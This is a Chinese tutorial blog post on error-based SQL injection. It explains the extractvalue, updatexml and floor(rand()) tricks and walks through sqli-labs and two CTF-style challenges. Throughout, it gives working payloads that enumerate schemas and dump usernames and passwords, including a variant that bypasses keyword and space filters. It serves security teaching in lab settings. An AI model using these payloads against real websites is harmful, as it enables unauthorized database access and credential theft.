持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第23天,点击查看活动详情
引文
之前两篇文章给大家分别讲解了盲注里的时间盲注与布尔盲注,不知道大家学的怎样了,今天给大家带来一种新的注入类型——报错注入,即通过报错信息来达到注入的效果,接下来带领大家学习一下它的原理以及注入流程。
基本知识
什么是报错注入?
报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息。所以当我们没有回显位时可以考虑报错注入这种方法来进行渗透测试。接下来带给大家常用的三种报错注入函数。
函数
extractvalue
函数基本格式:
ExtractValue(xml_frag, xpath_expr)
可以看到函数里面的参数,xml我们之前讲过,简单分析一下,xml_frag参数就是为了上传一个xml文档,xpath_expr参数就是用xpath路径法查找路径,而extractvalue报错注入 就是通过在函数中写如不符合语法格式的xpath达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;比如我们要查找数据库版本,构造格式如下:
?id=' and (extractvalue('anything',concat('~',(select version())))) --+
可以看到报错信息里就包含了我们所查询的内容,也就达到了注入效果。
updatexml
与extractvalue函数利用方式差不多,原理大致一致,基本格式如下:
UpdateXML(xml_target, xpath_expr, new_xml)
分别分析里面的参数:
xml - taeget:需要操作的xml片段;
xpath -expr:需要更新的路径;
xml -xml:更新后的的xml字段;
假设我们用这个函数查找数据库名称,可以这样构造PAYLOAD:
?id=' and (updatexml('anything',concat('~',(select database())),'anything')) --+
成功查询到数据库名称,于是我们可以接着构造查询语句去注入了。
floor
floor函数与上面两个的利用方法就不是那么一样了,在了解这个函数之前先看一些会用到的函数。
rand()函数: 产生一个伪随机的序列,执行函数,随机产生一个0~1之间的数值。
count()函数: 返回指定列的数目。
group by()函数: 结合合计函数,根据一个或多个列对结果集进行分组。
学完上面知识后,我们尝试构造sql语句来进行注入:
select count(*) from users group by concat(database(),floor(rand(0)*2));
发现错报信息,提示我们主键重复了:
ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'
floor(rand(0)2)的意思是随机产生0或1,对于rand(0),虽说是随机数,但是它的值与执行rand(0)的次数是意义对应的,即每一次执行rand(0)得到的结果都是固定的。使用group by 和count后,group by 会按顺序从users表中查询记录,建立一张虚拟的表,当表中的主键key存在时,count会自动+1,如果key不存在,则将key插入到临时表中。
而当group by与rand一起搭配时,如果临时表中没有该主键,rand会再计算一次,将计算结果插入到临时表,导致主键重复报错。
注入过程
我们还是拿sqli-labs来举例,在我们尝试注入时发现没有回显语句,于是我们进行错报注入:
?id=1 ' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
发现回显了user信息,于是我们继续构造语句来查询数据库:
?id=1 ' union select updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
得到数据库名称为security。于是我们查询该库里面的表。
?id=1 ' union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security' limit 0,1),0x7e),1) --+
查询user表里面的字段:
?id=1 ' union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+
接着就可以尝试爆破密码了。
例题
例题一
进入页面是一个登录框,按照渗透流程我我们先看看过滤了什么,跑了一遍发现过滤了and,/**/,空格,=,>,还有联合查询等关键函数。因为知道该题是错报注入,我们我们先构造payload试一试:
?username=1'or(updatexml("~",concat("~",(select(database()))),"~"))%23&password=xino
得到数据库名字,于是我们继续查询表:
?username=1'or(updatexml("~",concat("~",(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),"~"))%23&password=xino
接着查询字段名:
?username=1'or(updatexml("~",concat("~",(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),"~"))%23&password=xino
发现有密码的字段,于是我们直接爆出数据:
?username=1'or(updatexml("~",concat("~",(select(group_concat(username,"--",password))from(H4rDsq1))),"~"))%23&password=xino
但爆出来的数据只有一半的flag,猜测后台用到了substr函数截取掉了flag信息。所以这里可以用left和right函数分别获取左右部分的flag。
?username=1'or(updatexml("~",concat("~",(select(group_concat(right(password,25)))from(H4rDsq1))),"~"))%23&password=xino
拼接后得到完整的flag,成功获取数据。
例题二
有两个按钮,一个是登录,一个是新建一个登录博客,于是我们join一个新用户,之后会发现url多了一个
?no=1
因为根据SQL注入需要有注入点,这个就很符合SQL注入,于是我们在此进行注入:
查询当前数据库:
?no=1 and updatexml(1,concat('~',(database()),'~'),1)#
错误信息回显了数据库名字,于是我们进一步查询:
?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),'~'),1)#
最后查数据:
?no=1 and updatexml(1,concat('~',(select group_concat(passwd) from fakebook.users),'~'),1)#
得到我们想要的信息,成功注入。
结语
今天给大家讲了错报注入,原理跟盲注不是很一样,但还是挺好理解的,希望大家可以动手在靶机里试一试,错报注入在渗透中还是挺好用的,如果喜欢本文不妨一键三连。